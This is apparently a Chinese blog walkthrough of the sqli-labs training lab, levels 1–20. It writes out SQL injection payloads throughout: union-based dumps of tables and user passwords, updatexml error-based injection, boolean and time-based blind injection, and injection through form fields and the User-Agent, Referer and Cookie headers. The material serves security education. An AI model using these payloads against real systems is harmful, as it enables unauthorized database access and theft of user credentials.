当前位置: 首页 > news >正文

Sqli-labs靶场实录(一):Basic Challenges

sqli-labs靶场实录:Basic Challenges

  • sql手注基本流程
  • Less-1
    • 1.1探测注入点
    • 1.2判断字段数
    • 1.3判断回显位
    • 1.4提取数据库基本信息
    • 1.5拖取敏感数据
  • Less-2
  • Less-3
  • Less-4
  • Less5
    • 爆表
    • 爆列名
  • Less6
    • 爆库
    • 爆表
    • 爆列名
  • Less7
    • 猜解数据库长度
    • 逐字符爆破数据库名
  • Less8
    • 爆库
  • Less9
    • 爆库
  • Less10
  • Less11
  • Less12
  • Less13
  • Less14
  • Less15
    • 爆库
  • Less16
  • Less17(更新查询注入)
  • Less18
  • Less19
  • Less20
    • 免责声明:

sql手注基本流程

  1. 探测注入点和注入类型:在URL参数、表单等输入处插入单引号(‘)或逻辑语句(如’ OR 1=1–),观察是否返回数据库错误或异常数据,确认存在漏洞。

  2. 判断字段数:使用ORDER BY n逐步增加n值,直至页面报错,确定查询字段数量(如ORDER BY 3报错则字段数为2)。

  3. 定位回显位:通过UNION SELECT 1,2,3匹配字段数,观察页面显示的数字位置(如显示"2"),确定可回显数据的字段。

  4. 提取数据库信息:在回显位替换为数据库函数,如@@version(版本)、database()(当前库名),获取基础信息。

  5. 拖取敏感数据:查询系统表(如MySQL的information_schema.tables/columns),逐步获取表名、字段名,最终用UNION SELECT username,password FROM users提取数据。

Less-1

1.1探测注入点

这里通过提示可知需要通过输入id查询信息
请添加图片描述

故我们在url后拼接?id=1

发现页面改变

故判断存在数据库查询
在这里插入图片描述
接下来尝试输入?id=1 and 1=1?id and 1=2观察是不是数字型注入在这里插入图片描述在这里插入图片描述

可以看到页面无变化

故不是数字型注入
下面构造?id=1'在这里插入图片描述

可以看到页面报错

故存在字符型注入

构造?id=1'--+

成功闭合
在这里插入图片描述

1.2判断字段数

这里通过order by判断字段数

不断变化数字

出现报错则超过列数

构造?id=1'order by 3--+

页面正常在这里插入图片描述

构造?id=1'order by 3--+

页面报错

故得出字段为3
在这里插入图片描述

1.3判断回显位

构造?id=-1'union select 1,2,3--+

得出回显位为2,3

在这里插入图片描述

1.4提取数据库基本信息

构造?id=-1'union select 1,database(),version()--+

得出数据库名为security 版本为5.5.47
在这里插入图片描述

1.5拖取敏感数据

查表名

构造?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

得到四个表名

解释:这里通过参数注入的方式,将恶意 SQL 语句嵌入到正常的查询中。-1' 用于闭合原始查询中的字符串,union select 用来合并查询结果。group_concat(table_name) 将数据库中的所有表名合并成一列,information_schema.tables 是 MySQL 的元数据表,存储了数据库的表信息。where table_schema='security' 限制查询范围为 security 数据库中的表。--+ 是注释符号,用于忽略后面的内容。
在这里插入图片描述

查列名

构造
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

得到对应列名

解释:

  1. -1':闭合原始 SQL 查询中的条件,破坏其逻辑。
  2. union select:将攻击者的查询与原始查询合并,返回自定义结果。
  3. 1,2:占位符,匹配原始查询的列数,避免语法错误。
  4. group_concat(column_name):将查询结果中的列名拼接成一行,方便输出。
  5. information_schema.columns:MySQL 的元数据表,存储所有表的列信息。
  6. table_name='users':限制查询范围为 users 表。
  7. --+:注释符号,忽略后续内容,避免语法错误。
    在这里插入图片描述

爆数据

构造?id=-1' union select 1,2,group_concat(username ,password) from users--+

得到账户密码
在这里插入图片描述

Less-2

这一关从字符型注入转为了数字型注入

payload和第一关的唯一区别是id=1后面不再使用引号

其余正常使用

故po出测试payload如下
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()在这里插入图片描述
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'在这里插入图片描述

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'在这里插入图片描述

?id=-1 union select 1,2,group_concat(username ,id , password) from users
在这里插入图片描述

Less-3

这一关在测试注入点时发现报错信息出现了一个)

在这里插入图片描述
故尝试构造
?id=1')--+
闭合原查询语句的括号并注释掉查询语句后面的内容在这里插入图片描述

故得出和前几关类似的payload如下

?id=1') order by 3--+(字段数判断)
?id=-1') union select 1,2,3--+(回显位判断)

在这里插入图片描述

?id=-1') union select 1,database(),version()--+(数据库信息判断)

在这里插入图片描述

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(表名判断)

在这里插入图片描述

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(列名判断)

在这里插入图片描述

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+(数据脱取)

在这里插入图片描述

Less-4

这一关测试注入点时发现输入单引号时页面不报错
说明不是单引号闭合在这里插入图片描述

改用双引号闭合时报错
报错信息出现)
在这里插入图片描述
尝试构造
?id=1")–+
闭合成功在这里插入图片描述
故可以得到类似的一系列payload

?id=1") order by 3--+(查字段)
?id=-1") union select 1,2,3--+(查回显位)
?id=-1") union select 1,database(),version()--+(查数据库信息)
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(查表名)
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(查列名)
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+(查信息)

Less5

这一关在判断注入点时输入?id=1'报错在这里插入图片描述
构造?id=1'--+成功闭合
判断为字符型注入在这里插入图片描述
与前面四关不同
这一关不会回显任何信息
却有数据库回显错误
故尝试使用报错函数updatexml进行注入
先构造?id=1' and updatexml(1,1,1)--+
在这里插入图片描述
接着操控第二个参数
构造
?id=1'and updatexml(1,concat(1,1),1)--+在这里插入图片描述
最后操控concat函数的第二个参数得到嵌套结果
用于查询数据库名

?id=1'and updatexml(1,concat(1,(select database())),1)--+

在这里插入图片描述

爆表

构造
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

解释:

  1. 闭合引号?id=1' 闭合原SQL语句中的单引号,添加注入条件。
  2. 构造报错
    • updatexml(1, concat(1, (子查询)), 1)
      • concat(1, ...):将子查询结果与数字1拼接,生成非法XPath格式(如1users,posts),触发错误。
      • 子查询select group_concat(table_name) from information_schema.tables where table_schema='security'
        提取security数据库的所有表名,group_concat合并为单行字符串

在这里插入图片描述

爆列名

构造?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

解释:

  1. 闭合注入?id=1' 闭合原SQL单引号,引入恶意逻辑。
  2. 触发报错
    • updatexml(1, concat(1, (子查询), 1)
      • concat(1, ...):拼接子查询结果与1,构造非法XPath(如1id,username,password),触发语法错误。
    • 子查询
      select group_concat(column_name)  
      from information_schema.columns  
      where table_schema='security' and table_name='users'  
      
      提取security库中users表的所有字段名,合并为单行(如id,username,password

在这里插入图片描述

Less6

这一关和上一关类似
测试注入符号时发现双引号报错
在这里插入图片描述

判断闭合方式换成了双引号闭合
故得到如下payload

爆库

?id=1"and updatexml(1,concat(1,(select database())),1)--+在这里插入图片描述

爆表

?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+在这里插入图片描述

爆列名

?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+在这里插入图片描述

Less7

这一关测一下闭合符号
一顿操作后发现可以构造?id=1'))--+进行闭合在这里插入图片描述
尝试仿制上面的payload看看
?id=1')) and updatexml(1,concat(1,(select database())),1)--+
报错信息显示语法有问题在这里插入图片描述
故这里用不了报错注入
尝试一些布尔盲注看看

猜解数据库长度

构造?id=1')) and length(database())=8--+
页面正常在这里插入图片描述
构造?id=1')) and length(database())=9--+
页面报错
故得出长度为8在这里插入图片描述

逐字符爆破数据库名

构造?id=1')) and ascii(substr(database(),1,1))>114--+
页面正常在这里插入图片描述
构造?id=1')) and ascii(substr(database(),1,1))>115--+
页面报错
故得知数据库第一个字符ascii码为115=s在这里插入图片描述
构造?id=1')) and ascii(substr(database(),2,1))>100--+
页面正常
在这里插入图片描述
构造?id=1')) and ascii(substr(database(),2,1))>101--+
页面报错
故得出第二个字符ascii码=101=e
逐步测试可爆出库名security

Less8

这里测一下该注入是怎么闭合的
尝试几个字符后可构造?id=1'--+进行闭合在这里插入图片描述
在这里插入图片描述
观察页面可知
页面只会回显tureflase两种情况
故判断这里只能通过布尔盲注来测试

爆库

构造?id=1' and ascii(substr(database(),1,1))>114--+
页面正常在这里插入图片描述
构造?id=1' and ascii(substr(database(),1,1))>115--+
页面无回显
在这里插入图片描述
故得出数据库第一个字母为s
ascii=115
以此类推
得出数据库名=security

Less9

这一关测试了一下
发现不管id后拼接何值
页面都回显一样的内容
故判断布尔盲注失效
改用时间盲注测试
在这里插入图片描述
构造?id=1' and if(1=1,sleep(5),1)--+
发现页面延迟5s回显
故得出闭合条件为单引号闭合在这里插入图片描述

爆库

构造?id=1'and if(length((select database()))>7,sleep(5),1)--+
延迟回显
在这里插入图片描述

构造?id=1'and if(length((select database()))>8,sleep(5),1)--+
正常回显
在这里插入图片描述
故得出数据库长度为8
构造?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
页面延迟回显
得出数据库第一个字母为s
以此类推得出数据库名security

Less10

这一关测试了一下发现和第九关的本质区别在于这里采用的是双引号闭合
将上一关payload的单引号统一换成双引号后即可沿用
这里不过多赘述

Less11

这一关和前面的关卡比起来先进了许多
使用了登录框
在这里插入图片描述
但是换汤不换药
注入点由url切换成了输入框
故我们在username和password这两个参数进行测试即可
输入1’
页面报错
猜测存在字符型注入
类型为单引号闭合
在这里插入图片描述
测一下注释
发现前面--+的注释条件无法沿用了
故改用#注释
构造1'#成功闭合在这里插入图片描述
知道了闭合条件和注释符号就简单了
基于第一关的payload稍加改动即可进行漏洞的利用
这里给出爆出的库名payload示例
构造1'union select 1,database()#即可在这里插入图片描述

其他表名,列名同理
就不过多赘述了

Less12

这一关测了一下闭合符号
发现由单引号变成了双引号闭合
在这里插入图片描述
但是可以看到报错信息出现了括号在这里插入图片描述
猜测原始查询语句为username=("1")
故构造1")#
成功闭合
在这里插入图片描述
payload的制作思路和上一关类似
只不过是闭合符号的不同罢了
示例构造1")union select 1,database()#
爆出库名
在这里插入图片描述

Less13

这一关的可以构造闭合语句1')#在这里插入图片描述
但是尝试沿用上面的payload不成功
语句正确时页面不会回显任何信息
在这里插入图片描述
故这里采用报错注入
payload沿用第五关的即可
构造1')and updatexml(1,concat(1,(select database())),1)#
爆出库名
在这里插入图片描述

Less14

这一关闭合语句为1"#
payload的制作仿用第13关的报错注入即可
构造1"and updatexml(1,concat(1,(select database())),1)#
爆出库名
在这里插入图片描述

Less15

这一关使用普通注入和报错注入都无效
尝试使用盲注

爆库

构造1'or (length(database())=7)#
页面报错在这里插入图片描述
构造1'or (length(database())=8)#
页面正常回显在这里插入图片描述
故得出数据库长度为8
构造1'or (ascii(substr(database(),1,1)))=114#
页面报错在这里插入图片描述

构造1'or (ascii(substr(database(),1,1)))=115#
页面正常回显在这里插入图片描述
故得出数据库第一个字母为s
以此类推得出库名security

Less16

这一关还是需要盲注
但是闭合符号换成了")闭合
盲注手法沿用第十五关的即可
示例构造1")or (ascii(substr(database(),1,1)))=115#
页面正常回显
在这里插入图片描述

得出数据库首字母=s

Less17(更新查询注入)

这一关可以看到是一个密码重置的页面在这里插入图片描述

故这是一次功能点的测试
使用用户admin进行测试
因为重置密码涉及update的数据库语句
故判断漏洞可能出现在new password参数里面
尝试在对应输入框进行注入
构造admin/1'发现数据库报错在这里插入图片描述
构造admin/1'#闭合成功

在这里插入图片描述
经测试这里普通注入行不通
故采用报错注入
构造admin/1'and updatexml(1,concat(1,database()),1)#
报错出数据库
在这里插入图片描述

Less18

这一关可以看到页面出现了本机IP地址
说明我们的信息被网站记录进了数据库
在这里插入图片描述

那么判断这里可能存在HTTP头注入
我们输入正确的账户密码看看(前面密码重置那一关可以自己设置admin账户的密码)
登录成功在这里插入图片描述

发现显示User-agen头
故在User-agent参数进行注入测试
这里要判断一下注入是否存在
我们用Bp抓包发到重放器改包
在User-agent参数后加上单引号
发现数据库报错
故存在注入点
在这里插入图片描述

这里我们可以通过报错注入得到数据库名称
基于源码切片

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

我们可以得到User agent的参数组成如下

 (`uagent`, `ip_address`, `username`)

故构造'and updatexml(1,concat(1,database()),1)and'
成功爆库
在这里插入图片描述

Less19

这一关仍是Http头注入
登录成功后我们发现
这次显示的是Refer头
在这里插入图片描述
故在Refer参数构造payload注入即可
同理上一关抓包改包
构造:'and updatexml(1,concat(1,database()),1)and'
在这里插入图片描述
爆库成功

Less20

这一关登录成功后发现页面回显3个参数
在这里插入图片描述
因为这个仍是HTTP头注入
在测试前两个参数注入无果后尝试选择Cookie参数注入
刷新一下页面
拦截一下这个带cookie的请求在这里插入图片描述

抓包改包
构造admin'and updatexml(1,concat(1,database()),1)#
在这里插入图片描述

爆库成功

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。

相关文章:

Sqli-labs靶场实录(一):Basic Challenges

sqli-labs靶场实录:Basic Challenges sql手注基本流程Less-11.1探测注入点1.2判断字段数1.3判断回显位1.4提取数据库基本信息1.5拖取敏感数据 Less-2Less-3Less-4Less5爆表爆列名 Less6爆库爆表爆列名 Less7猜解数据库长度逐字符爆破数据库名 Less8爆库 Less9爆库 Less10Less11…...

2024最新版Node.js详细安装教程(含npm配置淘宝最新镜像地址)

一&#xff1a;Node.js安装 浏览器中搜索Nodejs&#xff0c;或直接用网址:Node.js — 在任何地方运行 JavaScript 建议此处下载长期支持版本&#xff08;红框内&#xff09;: 开始下载&#xff0c;完成后打开文件: 进入安装界面&#xff0c;在此处勾选&#xff0c;再点击n…...

RK3568使用QT搭建TCP服务器和客户端

文章目录 一、让RK3568开发板先连接上wifi二、客户端代码1. `widget.h` 文件2. `widget.cpp` 文件**详细讲解**1. **`Widget` 类构造函数 (`Widget::Widget`)**2. **UI 布局 (`setupUI`)**3. **连接按钮的槽函数 (`onConnectClicked`)**4. **发送消息按钮的槽函数 (`onSendMess…...

Android学习20 -- 手搓App2(Gradle)

1 前言 昨天写了一个完全手搓的&#xff1a;Android学习19 -- 手搓App-CSDN博客 后面谷歌说不要用aapt&#xff0c;d8这些来搞。其实不想弄Gradle的&#xff0c;不过想着既然开始了&#xff0c;就多看一些。之前写过一篇Gradle&#xff0c;不过是最简单的编译&#xff0c;不涉…...

LeetCode - Google 大模型10题 第2天 Position Embedding(位置编码) 3题

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/145454489 在 Transformer 架构中&#xff0c;位置编码(Position Embedding) 是辅助模型理解序列中元素顺序的关键机制。绝对位置编码(Absolute P…...

PostgreSQL 数据库备份与还原

为了安全与数据共享等&#xff0c;创建好的数据库有时候需要备份操作和还原操作。数据库的备份与还原主要是三个命令&#xff1a;pg_dump、pg_dumpall 和 pg_restore 。 其中pg_dump用于备份单个数据库&#xff0c;它支持多种备份格式&#xff08;SQL、自定义等&#xff09;&a…...

proxmox通过更多的方式创建虚拟机

概述 作为一名资深运维工程师&#xff0c;我们经常需要在 Proxmox 虚拟化平台上创建和管理虚拟机。本文将介绍三种不同的方式在 Proxmox 上创建 Ubuntu 虚拟机&#xff1a; 通过 Proxmox 命令创建虚拟机通过 Shell 脚本自动化创建虚拟机使用 Proxmox API 创建虚拟机 每种方式…...

WordPress使用(2)

上一篇文章讲述了WordPress的基本安装&#xff0c;主要是docker方式的处理。本文章主要介绍WordPress安装后的其他设置。 1. 安装后设置 安装后碰到的第一个需求就是安装一个合适的主题&#xff0c;但WordPress默认的上传文件大小是2M&#xff0c;远远无法满足要求&#xff0…...

git中文件的状态状态切换

文件的状态分类 Git 中文件的状态主要分为以下几种&#xff1a; Untracked&#xff08;未跟踪&#xff09; 定义&#xff1a;这些文件从未被 Git 跟踪过&#xff0c;通常是因为它们是新创建的文件&#xff0c;或者被 .gitignore 排除在外。 示例&#xff1a;新创建的文件 new…...

解决php8.3无法加载curl扩展

把它的值更改为扩展存在的目录的绝对路径(扩展存在的目录为有php_xxx.dll存在的目录) extension_dir "e:\serv\php83\ext" 然后从php根目录复制 libssh2.dll 和 libcrypto-*.dll 和 libssl-*.dll 到Apache根目录下的bin目录 重启apache服务即可...

三路排序算法

三路排序算法 引言 排序算法是计算机科学中基础且重要的算法之一。在数据分析和处理中&#xff0c;排序算法的效率直接影响着程序的执行速度和系统的稳定性。本文将深入探讨三路排序算法&#xff0c;包括其原理、实现和应用场景。 一、三路排序算法的原理 三路排序算法是一…...

入行FPGA设计工程师需要提前学习哪些内容?

FPGA作为一种灵活可编程的硬件平台&#xff0c;广泛应用于嵌入式系统、通信、数据处理等领域。很多人选择转行FPGA设计工程师&#xff0c;但对于新手来说&#xff0c;可能在学习过程中会遇到一些迷茫和困惑。为了帮助大家更好地准备&#xff0c;本文将详细介绍入行FPGA设计工程…...

DBASE DBF数据库文件解析

基于Java实现DBase DBF文件的解析和显示 JDK19编译运行&#xff0c;实现了数据库字段和数据解析显示。 首先解析数据库文件头代码 byte bytes[] Files.readAllBytes(Paths.get(file));BinaryBufferArray bis new BinaryBufferArray(bytes);DBF dbf new DBF();dbf.VersionN…...

html基本结构和常见元素

html5文档基本结构 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><title>文档标题</title> </head> <body>文档正文部分 </body> </html> html文档可分为文档头和文档体…...

JAVAweb学习日记(十) Mybatis入门操作

一、介绍 二、快速入门程序 三、入门-数据库连接池 四、入门-lombok工具包...

从Transformer到世界模型:AGI核心架构演进

文章目录 引言&#xff1a;架构革命推动AGI进化一、Transformer&#xff1a;重新定义序列建模1.1 注意力机制的革命性突破1.2 从NLP到跨模态演进1.3 规模扩展的黄金定律 二、通向世界模型的关键跃迁2.1 从语言模型到认知架构2.2 世界模型的核心特征2.3 混合架构的突破 三、构建…...

Rk3588芯片介绍(含数据手册)

芯片介绍&#xff1a;RK3588是一款低功耗&#xff0c;高性能的处理器&#xff0c;适用于基于arm的PC和边缘计算设备&#xff0c;个人移动互联网设备和其他数字多媒体应用&#xff0c;集成了四核Cortex-A76和四核Cortex-A55以及单独的NEON协处理器 视频处理方面&#xff1a;提供…...

java开发面试自我介绍模板_java面试自我介绍3篇

java 面试自我介绍 3 篇 java 面试自我介绍篇一&#xff1a; 我叫赵&#xff0c;我的同学更都喜欢称呼我的英文名字&#xff0c;叫&#xff0c;六月的 意思&#xff0c;是君的谐音。我来自安徽的市&#xff0c;在 21 年我以市全市第一名 的成绩考上了大学&#xff0c…...

w193基于Spring Boot的秒杀系统设计与实现

&#x1f64a;作者简介&#xff1a;多年一线开发工作经验&#xff0c;原创团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339;赠送计算机毕业设计600个选题excel文…...

chrome浏览器chromedriver下载

chromedriver 下载地址 https://googlechromelabs.github.io/chrome-for-testing/ 上面的链接有和当前发布的chrome浏览器版本相近的chromedriver 实际使用感受 chrome浏览器会自动更新&#xff0c;可以去下载最新的chromedriver使用&#xff0c;自动化中使用新的chromedr…...

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…...

装饰模式(Decorator Pattern)重构java邮件发奖系统实战

前言 现在我们有个如下的需求&#xff0c;设计一个邮件发奖的小系统&#xff0c; 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式&#xff08;Decorator Pattern&#xff09;允许向一个现有的对象添加新的功能&#xff0c;同时又不改变其…...

在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:

在 HarmonyOS 应用开发中&#xff0c;手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力&#xff0c;既支持点击、长按、拖拽等基础单一手势的精细控制&#xff0c;也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档&#xff0c…...

Objective-C常用命名规范总结

【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名&#xff08;Class Name)2.协议名&#xff08;Protocol Name)3.方法名&#xff08;Method Name)4.属性名&#xff08;Property Name&#xff09;5.局部变量/实例变量&#xff08;Local / Instance Variables&…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案

随着新能源汽车的快速普及&#xff0c;充电桩作为核心配套设施&#xff0c;其安全性与可靠性备受关注。然而&#xff0c;在高温、高负荷运行环境下&#xff0c;充电桩的散热问题与消防安全隐患日益凸显&#xff0c;成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理

引言 Bitmap&#xff08;位图&#xff09;是Android应用内存占用的“头号杀手”。一张1080P&#xff08;1920x1080&#xff09;的图片以ARGB_8888格式加载时&#xff0c;内存占用高达8MB&#xff08;192010804字节&#xff09;。据统计&#xff0c;超过60%的应用OOM崩溃与Bitm…...

SiFli 52把Imagie图片,Font字体资源放在指定位置,编译成指定img.bin和font.bin的问题

分区配置 (ptab.json) img 属性介绍&#xff1a; img 属性指定分区存放的 image 名称&#xff0c;指定的 image 名称必须是当前工程生成的 binary 。 如果 binary 有多个文件&#xff0c;则以 proj_name:binary_name 格式指定文件名&#xff0c; proj_name 为工程 名&…...

算法:模拟

1.替换所有的问号 1576. 替换所有的问号 - 力扣&#xff08;LeetCode&#xff09; ​遍历字符串​&#xff1a;通过外层循环逐一检查每个字符。​遇到 ? 时处理​&#xff1a; 内层循环遍历小写字母&#xff08;a 到 z&#xff09;。对每个字母检查是否满足&#xff1a; ​与…...

招商蛇口 | 执笔CID,启幕低密生活新境

作为中国城市生长的力量&#xff0c;招商蛇口以“美好生活承载者”为使命&#xff0c;深耕全球111座城市&#xff0c;以央企担当匠造时代理想人居。从深圳湾的开拓基因到西安高新CID的战略落子&#xff0c;招商蛇口始终与城市发展同频共振&#xff0c;以建筑诠释对土地与生活的…...